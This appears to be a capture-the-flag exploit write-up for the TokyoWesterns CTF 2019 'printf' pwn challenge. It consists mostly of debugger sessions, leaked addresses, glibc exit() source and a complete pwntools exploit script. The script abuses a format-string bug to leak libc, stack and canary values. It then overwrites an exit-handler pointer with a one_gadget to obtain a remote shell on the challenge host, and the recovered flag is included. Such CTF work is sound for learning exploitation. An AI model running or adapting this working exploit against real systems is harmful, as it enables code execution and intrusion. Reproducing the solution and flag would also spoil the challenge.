patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf

~/workspace/elf # ldd printf
    linux-vdso.so.1 =>  (0x00007ffe09ac1000)
    libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
    /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)

[*] '/root/workspace/elf/printf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/root/workspace/elf:/libc.so.6'

~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx 
Hi, 
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0 
Do you leave a comment?
%lx %lx %lx %lx %lx %lx                       
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0

/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.
   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.
   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
   is complete. See concurrency notes in stdlib/exit.h where
   __exit_funcs_lock is declared.  */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
                     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();
  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;
      __libc_lock_lock (__exit_funcs_lock);
    restart:
      cur = *listp;
      if (cur == NULL)
        {
          /* Exit processing complete.  We will not allow any more
             atexit/on_exit registrations.  */
          __exit_funcs_done = true;
          __libc_lock_unlock (__exit_funcs_lock);
          break;
        }
      while (cur->idx > 0)
        {
          struct exit_function *const f = &cur->fns[--cur->idx];
          const uint64_t new_exitfn_called = __new_exitfn_called;
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          switch (f->flavor)
            {
              void (*atfct) (void);
              void (*onfct) (int status, void *arg);
              void (*cxafct) (void *arg, int status);
            case ef_free:
            case ef_us:
              break;
            case ef_on:
              onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (onfct);
#endif
              onfct (status, f->func.on.arg);
              break;
            case ef_at:
              atfct = f->func.at;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (atfct);
#endif
              atfct ();
              break;
            case ef_cxa:
              /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                 we must mark this function as ef_free.  */
              f->flavor = ef_free;
              cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (cxafct);
#endif
              cxafct (f->func.cxa.arg, status);
              break;
            }
          /* Re-lock again before looking at global state.  */
          __libc_lock_lock (__exit_funcs_lock);
          if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
            /* The last exit function, or another thread, has registered
               more exit functions.  Start the loop over.  */
            goto restart;
        }
      *listp = cur->next;
      if (*listp != NULL)
        /* Don't free the last element in the chain, this is the statically
           allocate element.  */
        free (cur);
      __libc_lock_unlock (__exit_funcs_lock);
    }
  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
  _exit (status);
}
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

[+] Waiting for debugger: Done
[*] libc.address 0x7f591a884000
[*] stack 0x7ffcf901e290
[*] canary 0xb395c502847a3600
[*] proc_base 0x56346a570000
[*] one_gadget 0x7f591a966383

gef➤  search-pattern 0x7f591a966383
[+] Searching '\x83\x63\x96\x1a\x59\x7f' in memory
[+] In '[stack]'(0x7ffcf8fff000-0x7ffcf9020000), permission=rw-
  0x7ffcf901df00 - 0x7ffcf901df18  →   "\x83\x63\x96\x1a\x59\x7f[...]" 
  0x7ffcf901e0a0 - 0x7ffcf901e0b8  →   "\x83\x63\x96\x1a\x59\x7f[...]" 
gef➤  p/x 0x7ffcf901e0a0-0x7ffcf901df00
$1 = 0x1a0

pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)

───────────────────────────── code:x86:64 ────
   0x7f624efde38c                  shr    rax, 0x3
   0x7f624efde390                  lea    r12, [rbx+rax*8+0x8]
   0x7f624efde395                  nop    DWORD PTR [rax]
 → 0x7f624efde398                  call   QWORD PTR [rbx]
   0x7f624efde39a                  add    rbx, 0x8
   0x7f624efde39e                  cmp    rbx, r12
   0x7f624efde3a1                  jne    0x7f624efde398
   0x7f624efde3a3                  mov    edi, ebp
   0x7f624efde3a5                  call   0x7f624f0788f0 <_exit>
────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[rbx] (
   $rdi = 0x00007f624f1af968 → 0x0000000000000000,
   $rsi = 0x0000000000000001,
   $rdx = 0x0000000000000000,
   $rcx = 0x0000000000000000
)

LABEL_42:
          if ( v19 )
          {
            v18 = &off_1E66C8;
            if ( &off_1E66C8 < (__int64 (__fastcall **)())&unk_1E66D0 )
            {
              do
              {
                (*v18)();
                ++v18;
              }
              while ( v18 != &off_1E66C8 + ((unsigned __int64)((char *)&off_1E66C8 + 7 - (char *)&off_1E66C8) >> 3) + 1 );
            }
          }
          exit(status);
        }
        sub_12BDB0(dword_1EA108);
        goto LABEL_42;

[+] Waiting for debugger: Done
[*] libc.address 0x7f624ef97000
[*] stack 0x7ffd3f489490
[*] canary 0x3a05dd79a9ba500
[*] proc_base 0x55a3c78fa000
[*] one_gadget 0x7f624f079383
[*] atexit_stack_diff 0x9af030ba40

gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007f624ef97000 0x00007f624efbc000 0x0000000000000000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624efbc000 0x00007f624f12f000 0x0000000000025000 r-x /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f12f000 0x00007f624f178000 0x0000000000198000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f178000 0x00007f624f17b000 0x00000000001e0000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f17b000 0x00007f624f17e000 0x00000000001e3000 rw- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
gef➤  p/x 0x00007f624f17d6c8-0x00007f624ef97000
$1 = 0x1e66c8
gef➤  p/x 0x7f624efde398-0x00007f624ef97000
$2 = 0x47398
gef➤  p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390
$3 = 0x9af030ba38
gef➤  p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390+8
$4 = 0x9af030ba40

[+] Waiting for debugger: Done
[*] libc.address 0x7f2e14154000
[*] stack 0x7ffc707793c0
[*] canary 0x6ad3921cfee82500
[*] proc_base 0x55fcbd744000

gef➤  search-pattern 0x7f2e14236383
[+] Searching '\x83\x63\x23\x14\x2e\x7f' in memory
[+] In '[stack]'(0x7ffc7075a000-0x7ffc7077b000), permission=rw-
  0x7ffc70779030 - 0x7ffc70779048  →   "\x83\x63\x23\x14\x2e\x7f[...]" 
  0x7ffc707791d0 - 0x7ffc707791e8  →   "\x83\x63\x23\x14\x2e\x7f[...]" 
gef➤  p/x 0x7ffc707793c0-0x7ffc70779030
$1 = 0x390

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys

# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"

#context.log_level = "debug"
elf = ELF("./printf",checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    if context.arch == "i386":
        libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    s = process("./printf")
elif DEBUG == 2:
    if context.arch == "i386":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
    elif context.arch == "amd64":
        #libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
        #os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
        #os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
        libc = ELF("./libc.so.6")
        os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
        os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
    s = process("./printf")
elif DEBUG == 3:
    libc = ELF("./libc.so.6",checksec=False)
    ip = "printf.chal.ctf.westerns.tokyo" 
    port = 10001
    s = remote(ip,port)


def clean():
    s.close()

    if DEBUG == 2:
        if context.arch == "i386":
            os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
            os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
        if context.arch == "amd64":
            os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
            os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")

def pwn():
    #zx(0x130B)
    #pause()

    pl = "%lx "*((0x100-4)/4)#64
    s.sla("What's your name?", pl)

    s.ru("Hi, \n")
    leak = s.ru("Do").split(" ")

    libc.address = int(leak[2],16) - 0x10d024
    stack = int(leak[39],16)
    canary = int(leak[40],16)
    proc_base = int(leak[41],16) - 0x2a40
    one_gadget = libc.address + 0xe2383
    info("libc.address 0x%x", libc.address)
    info("stack 0x%x", stack)
    info("canary 0x%x", canary)
    info("proc_base 0x%x", proc_base)
    info("one_gadget 0x%x", one_gadget)

    atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
    info("atexit_stack_diff 0x%x", atexit_stack_diff)

    pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
    s.ru("comment?")
    s.sl(pl)

    s.irt()
    #clean()
    # TWCTF{Pudding_Pudding_Pudding_purintoehu}

if __name__ == "__main__":
    pwn()